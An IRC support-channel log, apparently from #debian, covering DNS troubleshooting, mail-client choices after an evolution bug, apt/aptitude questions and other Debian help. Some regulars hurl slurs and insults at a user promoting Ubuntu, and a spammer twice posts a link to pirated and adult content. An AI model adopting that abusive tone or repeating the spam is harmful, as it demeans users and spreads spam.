| 08:46.04 | dpkg | bing is, like, an Empirical stochastic bandwidth tester |
| 08:46.13 | mortimer | hmmm |
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| 08:46.57 | mortimer | it's not installed whatever it is |
| 08:47.19 | tome | NAME |
| 08:47.21 | tome | oops |
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| 08:48.44 | WorkerII | Hmm .. evolution 2.0 has a big problem ... |
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| 08:49.20 | WorkerII | When I click on a folder - the program freezes .. that does constistute the requirements for a bug-candidate, right? |
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| 08:51.32 | tome | mortimer: dig security.debian.org works for you correct? |
| 08:51.33 | WorkerII | Ok .. now I am in trouble .. I cannot loose my mail - thats not an option ... what do I do? |
| 08:51.41 | tome | mortimer: how about firewalls |
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| 08:51.46 | mortimer | no firewalls |
| 08:51.48 | tome | mortimer: do you have any packet filtering etc? |
| 08:51.52 | mortimer | i'll try dig |
| 08:52.25 | mortimer | dig not found |
| 08:52.35 | streuner_ | dnsutils |
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| 08:52.51 | jetscreamer | <S> |
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| 08:53.15 | streuner_ | hi |
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| 08:53.26 | Active2 | WorkerII: evolution looses mail ? |
| 08:53.26 | jennifer | im about to install "woody" but the cdrom keeps doing errors (i think cos its very old and slow) where can i read up on apt ( if thats the installed for debian ) |
| 08:53.29 | jetscreamer | how's it going mr. streuner_ |
| 08:53.32 | WorkerII | OK .. seems like a lot of people are starting to send in bugs |
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| 08:53.42 | jennifer | installed = installer |
| 08:53.51 | WorkerII | Active2 : Dunno .. cannot look in the folders . |
| 08:53.54 | streuner_ | jennifer: /msg dpkg d-i |
| 08:54.04 | jetscreamer | jennifer, did you consider d-i |
| 08:54.10 | Active2 | WorkerII: folders on locak computer or remote with imap ? |
| 08:54.11 | tome | mortimer: if you don't have dig, do you have nslookup (nslookup security.debian.org) |
| 08:54.16 | jetscreamer | or is it a production server |
| 08:54.17 | Active2 | local that is |
| 08:54.29 | tome | mortimer: or you could take streuner_ 's advice and install it if apt can do that |
| 08:54.29 | mortimer | hold on |
| 08:54.38 | mortimer | apt wont install |
| 08:54.43 | mortimer | :-( |
| 08:55.12 | mortimer | and nslookup isn't there either |
| 08:55.18 | jennifer | i will have to install via network because the disks simply wont read properly .... i can get the base install but x and applications mess up |
| 08:55.42 | jennifer | ive tested the media |
| 08:55.49 | streuner_ | jennifer: so the base is installed? |
| 08:55.55 | jetscreamer | !find dig |
| 08:55.56 | dpkg | Debian Package Listing of 'dig' (15 shown; 22 total): aprsdigi ;; digikam ;; digikamimageplugins ;; digikamplugins ;; digitaldj ;; digitemp ;; happydigger ;; htdig ;; htdig-doc ;; libcommons-digester-java ;; libdigest-crc-perl ;; libdigest-hmac-perl ;; libdigest-md2-perl ;; libdigest-md4-perl ;; libdigest-nilsimsa-perl. |
| 08:56.19 | streuner_ | jennifer: all you need is a working i-net connection in debian, all other things are solvable then. |
| 08:56.25 | tome | I guess nslookup is in dnstools as well, no bother anyway, if you can ping security.debian.org |
| 08:56.36 | tome | and it resolves to an IP, that proves the point I was trying to double check |
| 08:56.42 | streuner_ | prolly bind9 |
| 08:56.42 | jennifer | it is right now but i have to re-install because the last time it messed up on x - thats why im asking before i do it again |
| 08:56.43 | mortimer | hmmm |
| 08:56.50 | mortimer | it says unknown host |
| 08:56.51 | streuner_ | !find nslookup |
| 08:56.57 | dpkg | Debian Search of 'nslookup' (7 shown; 11 total): (/usr/bin/nslookup) in net/dnsutils ;; (/usr/bin/ptknslookup) in net/ptknettools ;; (/usr/share/scrollz/help/nslookup) in net/scrollz ;; (/usr/share/kaptain/nslookup.kaptn) in utils/kaptain ;; (/usr/lib/bitchx/help/1_General/nslookup.bz2) in net/bitchx ;; (/usr/share/kvirc/help/en/nslookup.kvihelp) in doc/kvirc-doc ;; (/usr/share/procmail-lib/pm-janslookup.rc) in mail/procmail-lib. |
| 08:57.17 | streuner_ | dnsutils :-) |
| 08:57.27 | tome | hai, dkpg -S nslookup on my end |
| 08:57.42 | tome | mortimer: when does it say this |
| 08:57.44 | tome | when you ping |
| 08:57.45 | tome | ? |
| 08:57.46 | jetscreamer | dnsutils: usr/bin/nslookup |
| 08:57.53 | mortimer | whne i ping it |
| 08:57.55 | jennifer | streuner im on 56k how long woud it take to do a simple install i-net |
| 08:57.57 | tome | well there ya go : ) |
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| 08:58.02 | jetscreamer | dnsutils: usr/bin/dig |
| 08:58.05 | tome | now what exactly are you trying to ping |
| 08:58.07 | element | I have php install, how would I use it to test files, such as php -q <file.php> ? |
| 08:58.14 | mortimer | right, but why could i ping somethings but not all? |
| 08:58.23 | streuner_ | jennifer: uhm, depends what you want install... |
| 08:58.25 | mortimer | i pinged security.debian.org |
| 08:58.33 | mortimer | but google.com works |
| 08:58.36 | mortimer | and gatech.edu |
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| 08:58.55 | tome | can you ping the IP for security which is... |
| 08:58.57 | jennifer | streuner_ web mail ftp server |
| 08:58.58 | streuner_ | jennifer: GNOME or KDE are about 200MB, X is about 50-70MB |
| 08:59.21 | tome | 194.109.137.218 |
| 08:59.22 | streuner_ | jennifer: that's solvable then |
| 08:59.47 | tome | can you cat /etc/resolv.conf |
| 08:59.47 | beeblebrox87 | d-i is really nice, kudos to whoever was responsible for that |
| 08:59.49 | streuner_ | jennifer: maybe 50-100MB to download |
| 08:59.50 | mortimer | yeah... i can ping that |
| 08:59.59 | tome | mortimer: if it's long, post to flood |
| 09:00.02 | tome | #flood |
| 09:00.03 | element | anyone? |
| 09:00.26 | jennifer | will it install apt so i can install at any time? |
| 09:00.33 | mortimer | nameserver 130.207.244.251 |
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| 09:00.37 | mortimer | and .244 |
| 09:00.42 | streuner_ | jennifer: woody-installer yes, of course. |
| 09:00.45 | tome | mortimer: great, can you ping those nameservers? |
| 09:00.56 | jennifer | kewl thanks streuner_ |
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| 09:01.07 | tome | element: you want to test the php file wihtout going through a webserver? |
| 09:01.10 | streuner_ | jennifer: you'll need prolly some packages for ppp too. |
| 09:01.20 | element | tome: I can do it on other machines are not debian. |
| 09:01.28 | mortimer | yeah, they ping |
| 09:01.37 | jennifer | ethernet gateway |
| 09:01.39 | element | tome: I simply can't find the bin for php, I've tried a lot of packages for it. |
| 09:01.45 | streuner_ | jennifer: wvdial would be a good idea for dialup, what modem do you have, external? |
| 09:01.56 | sean_micken | iis there a way to install the "recommended packages" by default? |
| 09:02.02 | element | tome: O |
| 09:02.07 | streuner_ | jennifer: ok, that's fine anyway, and the NIC is supported? |
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| 09:02.08 | element | tome: I'm trying to use php for some MRTG Scripts. |
| 09:02.19 | jennifer | yeah so it should be sweet :)\ |
| 09:02.31 | jennifer | ok im off to see if i can get this thing done |
| 09:02.35 | tome | element, are you sure you installed a bin for pho and not just the .so for apache (i use php on apache and don't have a standalone bin that I have yet to find, but looking) |
| 09:02.42 | jennifer | thanks streuner_ |
| 09:02.51 | streuner_ | jennifer: you're welcome. |
| 09:02.58 | element | tome: I used apt-get install php4, what else do I have to do to get the bin? |
| 09:03.08 | tome | element: please keep the conversation public so others can correct me.. er. learn from our discussion |
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| 09:03.21 | element | tome: umm I am lol. |
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| 09:03.43 | tome | element: ahh sorry, chatzilla doing odd things (testing it out) |
| 09:03.50 | element | heh k |
| 09:03.55 | jmp | oh chatzilla ... :-/ |
| 09:03.59 | tome | yeah... |
| 09:04.14 | sean_micken | i would like to install all the "recommended packges" by default all the time, is there a way to do that? |
| 09:04.29 | element | sean_micken: apt-get upgrade ? |
| 09:04.55 | sean_micken | element, no i mean like when you apt-get install pkg it will show you a list of recommended packages... |
| 09:04.57 | jetscreamer | sean_micken, use aptitude --with-recommends (if it's not deprecated) |
| 09:05.23 | sean_micken | jetscreamer, no way apt-get can do this? |
| 09:05.28 | tome | mortimer: your /etc/resolv.conf only has two lines |
| 09:05.33 | mortimer | yes |
| 09:05.36 | jetscreamer | dunno |
| 09:05.39 | tome | no search? |
| 09:05.51 | element | how do I clear out my /var temp files? |
| 09:06.22 | jetscreamer | no don't tell him rm |
| 09:06.54 | element | not just rm, I know that. |
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| 09:07.02 | element | I mean, where are the dist files stored? |
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| 09:07.08 | tome | mortimer: i suggest you add a public nameserver to your resolv.conf |
| 09:07.14 | tome | and see if you can then resolve the address |
| 09:07.21 | tome | perhaps the nameservers you are using |
| 09:07.24 | jetscreamer | <PROTECTED> |
| 09:07.28 | tome | are foobad |
| 09:07.30 | tome | d=r |
| 09:07.31 | mortimer | hmmm |
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| 09:07.35 | tome | try: 199.166.28.10 |
| 09:07.46 | tome | (google led me to http://support.open-rsc.org/.servers/ ) |
| 09:07.49 | jetscreamer | apt-get clean apt-get autoclean man apt-get |
| 09:08.04 | element | jetscreamer: seems like there are a lot more files than just that, something is using 2gb of my 3 |
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| 09:08.10 | tome | mortimer: try to make it the only server in resolv.conf for a minute |
| 09:08.17 | tome | or just put it at the top |
| 09:08.57 | jetscreamer | xdiskusage is what i use for some reason, you could man du or something if you're a purist |
| 09:09.11 | WorkerII | Active2 : local .. I imported from 1.3 |
| 09:09.17 | WorkerII | Active2 : 1.4, even. |
| 09:09.24 | jetscreamer | df is cool |
| 09:09.24 | element | jetscreamer: ? |
| 09:09.40 | jetscreamer | man du && man df |
| 09:09.51 | WorkerII | !maint evolution |
| 09:09.54 | dpkg | evolution: Takuo KITAME <kitame@debian.org> |
| 09:09.55 | jetscreamer | or apt-get install some x proggie like xdiskusage |
| 09:10.16 | mortimer | do i have to do something to get the settings to take? |
| 09:10.20 | tome | nope |
| 09:10.33 | tome | ping should look at that host |
| 09:10.35 | tome | er |
| 09:10.37 | tome | not directly |
| 09:10.41 | tome | but you know what i mean |
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| 09:10.43 | jetscreamer | xdiskusage is weird here though it will only start up from an xterm for some reason now |
| 09:10.43 | WorkerII | Active2 : They come in now: http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=evolution |
| 09:11.03 | jahi | System.out.println("Marry Christmas!"); |
| 09:11.20 | mortimer | that didn't fix it... |
| 09:11.38 | mortimer | how do i find what my name servers are in windows |
| 09:11.44 | mortimer | does trace route do that? |
| 09:11.48 | tome | ipconfig /all |
| 09:11.59 | jetscreamer | ipconfig ^^^ rather |
| 09:12.03 | element | jetscreamer: apparently, my logs are filling up a lot of space. odd. |
| 09:12.04 | WorkerII | I need to switch to another MTA ... which one can import from evolution? |
| 09:12.22 | tome | jetscreamer: ? |
| 09:12.39 | jetscreamer | as in what tome said rather |
| 09:12.58 | jetscreamer | WorkerII, wtf? |
| 09:13.07 | WorkerII | jetscreamer ? |
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| 09:13.29 | jetscreamer | why would an mta import |
| 09:13.38 | jetscreamer | from evo |
| 09:13.38 | WorkerII | jetscreamer : Sorry ... MUA |
| 09:13.40 | mortimer | would it be the dhcp server? |
| 09:13.44 | jetscreamer | okie |
| 09:13.52 | mortimer | or dns servers? |
| 09:13.53 | WorkerII | I need to switch to another MUA ... which one can import from evolution? |
| 09:13.58 | tome | DNS |
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| 09:14.22 | tome | WorkerII: I think evolution (the older versions at least) used maildir by default... but not sure |
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| 09:14.43 | tome | WorkerII: most mail clients can use maildir, but I think evolution may have put it's dir in a bit of a strange hierarchy |
| 09:14.56 | WorkerII | tome : Ok .. which MUA reads that .. gnus? |
| 09:14.58 | tome | WorkerII: it all depends on what you had your mail file type set to I think.. |
| 09:15.20 | WorkerII | mail file type ..heh |
| 09:15.23 | tome | WorkerII: almost all do, I personally like Mutt.. but if you liked evolution you could try something more GUI-ed |
| 09:15.23 | mortimer | aalright.... that fixed it |
| 09:15.28 | mortimer | thanks a lot |
| 09:15.32 | tome | mortimer: did you need new servers? |
| 09:15.41 | mortimer | i needed it to match the ones in windows |
| 09:15.46 | mortimer | im using it on colinux |
| 09:15.46 | WorkerII | tome : mutt looks nice .. but I recieve a lot of html mail. |
| 09:15.59 | WorkerII | tomb0y: well .... not a lot, but some. |
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| 09:16.05 | WorkerII | tome: well .... not a lot, but some. |
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| 09:17.26 | WorkerII | tome : I guess I should give mutt a try. |
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| 09:17.53 | karlfr | WorkerII, if you can set up IMAP, it's pretty handy for moving mail between MUAs even across different OS's. |
| 09:17.57 | tome | mortimer: as you say, your original DNS servers were to blame (they sucked) not sure why they haven't updated or couldn't get info from upstream |
| 09:18.03 | WorkerII | tome : If mutt has folders and so. |
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| 09:18.18 | WorkerII | tome : filters I need also. |
| 09:18.37 | tome | WorkerII: mutt is a bit more hands on I think.. you may want to a) backup all your mail ( do that first ). I've always used procmail for filtering. |
| 09:18.42 | WorkerII | karlfr : I don't remember ever setting up imap. |
| 09:19.06 | tome | WorkerII: you may be happy trying another GUI mail client, do you run gnome, kde, or neither |
| 09:19.07 | tome | ? |
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| 09:19.43 | Guerin | all gui mail clients suck |
| 09:19.50 | Guerin | and so do most of the console clients |
| 09:19.53 | WorkerII | tome : I like to sort my mail in different folders, then check the folders individually. I run GNOME right now .. but I've also used KDE, windowmaker, openbox, ion2 and others. |
| 09:20.05 | Guerin | WorkerII: mutt is ideal for that |
| 09:20.42 | WorkerII | Guerin : Thats nice |
| 09:20.50 | WorkerII | tome: Ok .. I'll take an extra backup. |
| 09:21.05 | WorkerII | oh .. I also like to keep my mail forever. |
| 09:21.08 | tome | WorkerII: mutt is idea, if you set up procmail, this may or may not be something you want to do right now (seeing as you don't have access to your email until you get something set up). I think I used a gtk mail client once that did function... called |
| 09:21.38 | tome | WorkerII: you'll note that none of these Should be destructive, meaning ultimately you'll always have your mail files and just different software reading it. |
| 09:22.02 | tome | hopefully all will use maildir (or mbox, or whatever format your evolution used) |
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| 09:22.32 | WorkerII | tome : I lost some of your sentence: "...thing set up). I think I used a gtk mail client once that did function... called ??" |
| 09:22.37 | Guerin | if you're moving from evilution but don't wnat to go the whole mutt route, sylpheed or sylpheed-claws is the way |
| 09:22.51 | Guerin | both of them have gtk+ and gtk2 versions |
| 09:22.53 | tome | WorkerII: called Balsa |
| 09:23.00 | prasad | hello all, can someone help me setup iiimf for KDE |
| 09:23.14 | Guerin | ah balsa is feeble |
| 09:23.17 | tome | I've never tried slypheed, that is worth a look as well perhaps |
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| 09:23.31 | WorkerII | Guerin : You sound like switching to mutt will require some work? |
| 09:23.32 | tome | Balsa will not be a replacement for evolution, just something to get you reading mail tonight... |
| 09:23.42 | WorkerII | tome, Guerin : I guess you both recommend balsa? |
| 09:23.56 | Guerin | no |
| 09:24.02 | Guerin | balsa is shite |
| 09:24.02 | tome | WorkerII: actualy I think Guerin didn't like Balsa, and I recommend it only in the short term |
| 09:24.02 | WorkerII | oh ok |
| 09:24.14 | Guerin | sylpheed++ |
| 09:24.17 | jm_ | sylpheed-claws is very good |
| 09:24.26 | WorkerII | ok |
| 09:24.37 | prasad | anyone listening? need help in setting up IIIMF (kde) |
| 09:24.43 | tome | WorkerII: yup, that looks good as well |
| 09:24.51 | tome | WorkerII: but please, first backup :) |
| 09:24.51 | Guerin | prasad: #kde |
| 09:25.08 | WorkerII | tome : allready did .. an extra actually :) |
| 09:25.10 | sean_micken | aptitude -r install kernel-source-2.6.8 isn't installing the suggested packages... |
| 09:25.13 | prasad | Guerin: thanks will try it there... was a bit confused about where to ask this |
| 09:25.13 | Beccara | whats the state of linux drivers for a ati card? |
| 09:25.21 | Beccara | can i apt-get install them yet? |
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| 09:25.56 | WorkerII | tome : What I like about mutt, is that it looks a lot like "elm", that I used to use for mail way back .. but it didn't handle uudecode and stuff, you had to handle that yourself. |
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| 09:26.23 | tome | WorkerII: there are thousands of mutt configs online for you to base your config on |
| 09:26.27 | Gujiz | My domain has been hijacked can anyone tell me what to do :// |
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| 09:26.30 | tome | you can customize almost every part of it |
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| 09:26.48 | tome | it looks exactly as you want it to, as long as you want it to look like a curses mail client : ) |
| 09:27.21 | WorkerII | hehe |
| 09:27.22 | Sharcho | While running tasksel during the installation, I chose "manual package selection". Is there a way I can get all the default packages installed? |
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| 09:27.36 | tome | WorkerII: but that's the fun of it |
| 09:27.40 | WorkerII | like Ford: You can have the car in any colour you want, as long as you want it in black. :) |
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| 09:27.52 | qazix | Beccara: http://rage3d.com/board/forumdisplay.php?f=88 <--- examine this forum for a while and you'll have your answer. |
| 09:27.53 | Gcc | guys which is debian-30r3 sarge sid what? |
| 09:27.57 | WorkerII | (About the Ford T model) |
| 09:27.59 | tome | WorkerII: nah you start with some base config, and every time to look deeper you tweak it a bit more |
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| 09:28.45 | prasad | Guerin: no one seems to respond on #kde, u tried IIIMF anytime with kde? |
| 09:28.55 | WorkerII | tome : Sounds like something to play with at home :) |
| 09:28.59 | quazimop | a quick question, if i have the debian AMD64 port running on my system, i can still run 32bit applications (e.g games) without hassle? |
| 09:28.59 | tome | WorkerII: google muttrc returns >80,000 hits : ) |
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| 09:29.32 | Gcc | guys which is debian-30r3 sarge sid what? |
| 09:29.33 | WorkerII | tome: I am at work .. I am guessing Sylpheed (with claws?) might be the way to go. |
| 09:29.57 | jm_ | quazimop: you'll most likely need 32bit chroot for that |
| 09:30.01 | tome | WorkerII: seems like a good place to start, if you dont like it then you could try getting a more stable version of evolution, or mutt, etc. |
| 09:30.01 | MobyTurbo | Gcc: woody |
| 09:30.02 | fbtab | WorkerII: i use slypheed at work, i also want to switch to mutt .. but mutt is a learning curbe ;) |
| 09:30.04 | Guerin | prasad: I have NFI what IIIF even is, and I don't use kde. |
| 09:30.11 | Guerin | prasad: just ask your question |
| 09:30.22 | WorkerII | fbtab :) |
| 09:30.42 | WorkerII | fbtab : Are you generally happy or unhappy with sylph? |
| 09:30.42 | quazimop | jm_: mm, i guess that's no big deal, i saw a howto somewhere about making 32bit chroots, it wouldn't degrade in performance too much (considering i'm currently running in 32bit mode) |
| 09:30.51 | tome | once you really use mutt you never really go back : ) |
| 09:30.56 | fbtab | WorkerII: sylpheed is nice and responsive, dont use evolution, i am happy with sylpheed |
| 09:31.13 | fbtab | WorkerII: but im aiming to move to mut :) |
| 09:31.20 | WorkerII | fbtab : Thats nice. Do you use the spamassasin plugins? |
| 09:31.23 | prasad | Guerin: kde shows the iiimf input 'window' but i dont see anything in the language window! |
| 09:31.30 | fbtab | WorkerII: nope. |
| 09:31.31 | Guerin | prasad: I have NFI what IIIF even is, and I don't use kde. |
| 09:31.35 | Beccara | can anyone tell me any info about getting a Radeon Card to work correctly in 2d and 3d under debian |
| 09:31.50 | qazix | Beccara: what kind of card? |
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| 09:32.03 | Beccara | x600xt |
| 09:32.49 | WorkerII | fbtab : I only have two things against mutt .. (1) it doesn't integrate with emacs, (2) it doesn't provide an option to work with the gui. |
| 09:33.08 | tome | WorkerII: define integrate in emacs |
| 09:33.17 | qazix | Beccara: Okay. First of all, you'll receive better help at that forum that I linked to. Also, a helpful link for fglrx and Debian is: http://xoomer.virgilio.it/flavio.stanchina/debian/fglrx-installer.html |
| 09:33.17 | tome | WorkerII: I do all my email editing in emacs automatically through mutt |
| 09:33.22 | fbtab | WorkerII: but i heard people who like vi use mutt, and generally dont want a gui :p |
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| 09:33.53 | qazix | Beccara: ... and finally, you'll probably never be satisfied with that card's 2D and 3D features and performance in Linux. Oh well. :) |
| 09:34.05 | WorkerII | fbtab : I prefer GUI as an option ... but I don't dislike GUI's. |
| 09:34.25 | fbtab | i see |
| 09:34.38 | WorkerII | fbtab : For instance, when I surf, I like to use w3m or firefox .. but I like to be able to use elinks in the console also. |
| 09:34.39 | tome | set editor="xemacs +8" # use xemacs :) |
| 09:35.03 | WorkerII | tome: Yeah .. but what I want is for it to integrave with planner.el and other stuff ;) |
| 09:35.15 | tome | WorkerII: have you considered using thunderbird |
| 09:35.35 | WorkerII | tome : Not yet? |
| 09:35.44 | tome | oh got... noooooooooooooo |
| 09:35.50 | tome | t=d |
| 09:35.55 | tome | i can't type today |
| 09:35.59 | cafuego | 34C at 20:35 |
| 09:36.01 | cafuego | yuck |
| 09:36.14 | tome | because of notes blasphemy |
| 09:36.17 | WorkerII | Hmm .. that was somewhat drastic. |
| 09:36.34 | fbtab | cafuego: where do you stay? |
| 09:36.38 | tome | no, no it's not, I use notes at work "officially" (of couse I use mutt, but still 20% of my day has to be in notes) |
| 09:36.45 | cafuego | fbtab: inside, with the doors & windows shut |
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| 09:36.53 | tome | notes is the satan of mail clients |
| 09:36.54 | WorkerII | tome: Lotus notes? |
| 09:37.00 | fbtab | cafuego: which part of Earth? |
| 09:37.02 | tome | that's what I'm talking about |
| 09:37.06 | cafuego | fbtab: Straya |
| 09:37.19 | tome | WorkerII: I've never used thunderbird, but it may be worth a look |
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| 09:38.09 | WorkerII | Why doesn't debian-menu update in gnomepanel ? Do I need to run "update-menus" or something? |
| 09:38.32 | sean_micken | i've got Aptitude::Suggests-Important "true"; in my apt.conf file, but aptitude isn't installing the suggested pkgs, idea why? |
| 09:38.35 | tome | WorkerII: also, thunderbird has an import setting |
| 09:38.41 | tome | err, tools->import |
| 09:38.42 | tome | : ) |
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| 09:39.04 | WorkerII | tome: Evolution? |
| 09:39.14 | naes | i've got Aptitude::Suggests-Important "true"; in my apt.conf file, but aptitude isn't installing the suggested pkgs, idea why? |
| 09:39.51 | tome | WorkerII: Thunderbird has this, it may take your evolution mail and put it where it likes... sounds a little obtrusive but since you have backups may be worth checking out. Not sure what underlying format thunderbird uses |
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| 09:41.25 | zu22 | i have gcc-2.95 and gcc-3.3 installed but i only want to use gcc-2.95 when i invoke 'gcc', how can i set this in my user's startup so it will be 2.95? should i re-point the symlink or how to do diversions? shell is bash |
| 09:41.37 | WorkerII | Hmm ............. 3 different sylpheeds to choose from .. "sylpheed", "sylpheed-claws" and "sylpheed-gtk". |
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| 09:42.29 | mathieu | zu22: export CC=gcc-2.95 |
| 09:42.31 | MobyTurbo | WorkerII: -claws has more features than regular sylpheed but also more bugs. |
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| 09:42.54 | mathieu | zu22, works for autoconf |
| 09:43.04 | mathieu | zu22, and good Makefiles |
| 09:43.05 | TheStar | WorkerII, For instance, can work with dillo to view html email. |
| 09:43.09 | WorkerII | MobyTurbo : Ok .. what kinda bugs/features? |
| 09:43.18 | anti-genre | how do i upload songs to my mp3 player? |
| 09:43.23 | jm_ | WorkerII: read about it on their home page |
| 09:43.25 | WorkerII | TheStar : So I need claws to watch htmlmail? |
| 09:43.43 | zu22 | mathieu: merci! |
| 09:43.48 | TheStar | WorkerII, Pretty much. Been ages since I used it, though. |
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| 09:43.55 | TheStar | WorkerII, For me, html email tends to be spam. |
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| 09:44.01 | MobyTurbo | WorkerII: it's been a very long time since I've ran it so my information would be out of date since claws' features get back ported sometimes to sylpheed |
| 09:44.01 | WorkerII | jmp: I like reading the documentation .. but expirience has learned me to value other peoples personal expirience also. :-) |
| 09:44.02 | Guerin | WorkerII: emacs has a number of mail modes |
| 09:44.16 | Guerin | WorkerII: most of which suck, apparently... though vm is supposed to be good |
| 09:44.28 | jm_ | WorkerII: that doesn't matter when feature list is in question |
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| 09:44.45 | MobyTurbo | Emacs' gnus is a good newsreader, it might be good for mail too, it can be used for that. |
| 09:44.49 | WorkerII | Guerin : Most go with GNUs, I guess .. but its pretty hard to setup if you don't like the default at all (which I dont). |
| 09:44.49 | clojster | hi, do anyone know how to switch from xfce-session (or gnome-session) to be able to run .xsession file at startup? |
| 09:45.00 | [s]ean | i've got Aptitude::Suggests-Important "true"; in my apt.conf file, but aptitude isn't installing the suggested pkgs, idea why? |
| 09:45.00 | WorkerII | jm_: Thats true |
| 09:46.00 | sophacles | hey all. quick question: can i do an install from just the woody-i386-1.iso cd? do i need the rest? |
| 09:46.17 | cafuego | sophacles: If you have a nice broadband link, get the sarge netinst iso |
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| 09:46.40 | TheStar | sophacles, But you only need the one install. |
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| 09:47.07 | Fuwex | how do I find out the version of a package again? I forgot it :S |
| 09:47.08 | TheStar | sophacles, The rest just contain more programs, but those packages that are statistically popular go on CD1 |
| 09:47.13 | clojster | I want only debian-sessions |
| 09:47.31 | zu22 | i got 50 packs of Ubuntu today from Switzerland heh (2 CDs per pack) |
| 09:47.41 | zu22 | gonna give em out at our LUG |
| 09:47.49 | cafuego | !hurt zu22 |
| 09:47.52 | Guerin | zu22: #ubuntu |
| 09:47.56 | SlayerXP | !moron zu22 |
| 09:47.57 | dpkg | zu22: You are moron #46 |
| 09:48.17 | cafuego | zu22: We REALLY don't want to know you're promoting another distro now. |
| 09:48.20 | Guerin | zu22: if it was sarge installer discs you were giving out, we might not think you were a raving fucktard |
| 09:48.29 | sophacles | thestar thanks, does that cd include proper modules for iptables? |
| 09:48.32 | TheStar | How do I tell why /mnt is busy? |
| 09:48.40 | TheStar | sophacles, Yes, it includes the linux kernel. |
| 09:48.40 | Guerin | TheStar: lsof, luser |
| 09:48.41 | SlayerXP | TheStar: lsof |
| 09:48.41 | zu22 | sheesh |
| 09:48.45 | TheStar | Thanks. |
| 09:48.49 | Guerin | err |
| 09:48.51 | Guerin | fuser |
| 09:48.51 | TheStar | Just never had to use it :( |
| 09:48.53 | Guerin | not luser |
| 09:48.56 | cafuego | sophacles: The woody install kernel doesn't include all of them, I think. |
| 09:49.12 | fpmc | I'm trying to reinstall some files from package "awstats". I try several ways of re-installing, including using -o options in apt-get, but still don't see those files re-installed. Anyone help?? |
| 09:49.17 | Guerin | a good freudian slip, that |
| 09:49.18 | cafuego | sophacles: You REALLY need to run an update after install anyway, you cna also install a real kernel at that stage. |
| 09:49.19 | TheStar | Hmm |
| 09:49.26 | zu22 | get thicker skin, i dont have broadband nor cd burner, some dude sent me a bunch of ubuntu, it better lure ppl to linux with ubuntu if that is all u have, i wish i had sarge install discs but i dont |
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| 09:49.35 | sophacles | cafuego as long as it handles my dlink netcard i know apt can do the rest :) |
| 09:49.48 | WorkerII | Is mail-dir also called something else? |
| 09:49.54 | Guerin | zu22: we have thick skin. Just not warty skin. |
| 09:49.57 | cafuego | sophacles: yeah, it should do that. just make sure you boot with the 2.4 install kernel. |
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| 09:50.27 | sophacles | cafuego cool thanks. |
| 09:50.29 | golgotha | is anyone experienced with uml? (user mode linux) |
| 09:50.29 | TheStar | I can't force it :( |
| 09:50.30 | sophacles | thestar thanks. |
| 09:50.42 | TheStar | How do I force the umount? umount /mnt -f doesn't work. |
| 09:50.46 | zu22 | Guerin / SlayerXP: no need to be such assholes about it, sheesh at least i trying help linux community. i can only give out what i got |
| 09:50.59 | Guerin | zu22: please, make it clear to people that they 1) shouldn't use debian repositories with ubuntu and 2) will get flamed fiercely if they try to use #debian as a support channel. |
| 09:51.07 | zu22 | if you send me some sarge cds i be glad to give those out too |
| 09:51.07 | TheStar | And fuser reports a whole bunch of UID's. |
| 09:51.09 | SlayerXP | zu22: how about telling that to the people in #ubuntu |
| 09:51.22 | SlayerXP | they will a) congratulate you and b) not assume you're a retard |
| 09:51.25 | Guerin | zu22: the issue is about announcing it here. /msg dpkg wgaf |
| 09:51.26 | zu22 | guerin: ok |
| 09:51.30 | [s]ean | i've got Aptitude::Suggests-Important "true"; in my apt.conf file, but aptitude isn't installing the suggested pkgs, any iidea why? |
| 09:51.40 | Guerin | [s]ean: you need to spam the channel more often |
| 09:51.48 | Guerin | [s]ean: otherwise nobody will pay attention to you |
| 09:52.05 | TheStar | Guerin, Quit messing up with my /ignores! :) |
| 09:52.10 | Guerin | TheStar: ? |
| 09:52.49 | Guerin | oh |
| 09:52.50 | WorkerII | TheStar : That would be a neat plugin .. if somebody talks to a person on ignore, they hit the ignore list also? |
| 09:52.56 | Guerin | haha |
| 09:52.59 | Guerin | viral ignore |
| 09:53.06 | PerfDave | /ignore -replies IYF |
| 09:53.07 | WorkerII | :) |
| 09:53.14 | Guerin | you'd soon find yourself alone, crying in the irc wilderness |
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| 09:53.34 | SlayerXP | Guerin: we'd be you, in fact :) |
| 09:53.36 | WorkerII | Guerin : nah .. you just "cut the crap" :) |
| 09:53.40 | Guerin | :( |
| 09:53.41 | TheStar | Nah, it'd be "Thankyou! Now that it's quiet, I can get some *sleep*" |
| 09:53.47 | Guerin | hah |
| 09:54.11 | TheStar | Anyway, rebooting into my repaired Sid... |
| 09:54.18 | TheStar | Adios Amigos Dudes! |
| 09:54.23 | Guerin | ... |
| 09:54.31 | Guerin | TheStar: /msg dpkg es |
| 09:54.32 | SlayerXP | my mission for today is to find out how long my digicam will keep its shutter open for on one battery charge |
| 09:54.38 | fpmc | why doesn't "apt-get --reinstall" actually reinstall all the files of a package? |
| 09:54.38 | Guerin | hah |
| 09:54.42 | Guerin | SlayerXP: bulb? |
| 09:54.44 | SlayerXP | i'm hoping for three hours or more |
| 09:54.50 | Guerin | fpmc: it should |
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| 09:54.53 | sophacles | maybe it's already been implemented in newer versions than i have, or is a bad idea, but why doesnt apt-get have an 'install reccomended/suggested packages autmatically' option? |
| 09:54.54 | TheStar | Guerin, I think some of those words were Latin. |
| 09:54.54 | SlayerXP | Guerin: yup |
| 09:55.16 | fpmc | Guerin: I'm trying to re-install awstats, but I'm not getting the files /etc/awstats/... back! |
| 09:55.18 | Guerin | sophacles: aptitude does |
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| 09:55.34 | PerfDave | sophacles: Because apt-get is designed to be simple, stupid and safe. |
| 09:55.35 | SO_SASSS | Found a Good Website For XXX MOVIE XXX PASSE Music,Game And More Go TO http://Club2Share.Com |
| 09:55.39 | SO_SASSS | Found a Good Website For XXX MOVIE XXX PASSE Music,Game And More Go TO http://Club2Share.Com |
| 09:55.42 | sophacles | guerin im not sure what that is. |
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| 09:55.45 | Guerin | fpmc: are you sure they're defaultly put there? |
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| 09:55.52 | Guerin | !tell sophacles about aptitude |
| 09:55.54 | sophacles | perfdave. ok. i accept that. |
| 09:56.00 | fpmc | Guerin: I checked online, yes |
| 09:56.02 | Guerin | SlayerXP: what camera? |
| 09:56.07 | WorkerII | tome : Heh .. thunderbird doesn't seem to support /var/spool/mail kinda mail - only imap or pop3. |
| 09:56.08 | fpmc | http://packages.debian.org/cgi-bin/search_contents.pl?searchmode=filelist&word=awstats&version=unstable&arch=all&page=1&number=50 |
| 09:56.11 | SlayerXP | Guerin: canon eos 300d |
| 09:56.21 | Fuwex | : bad interpreter: No such file or directory <- The file exists, what's my problem? |
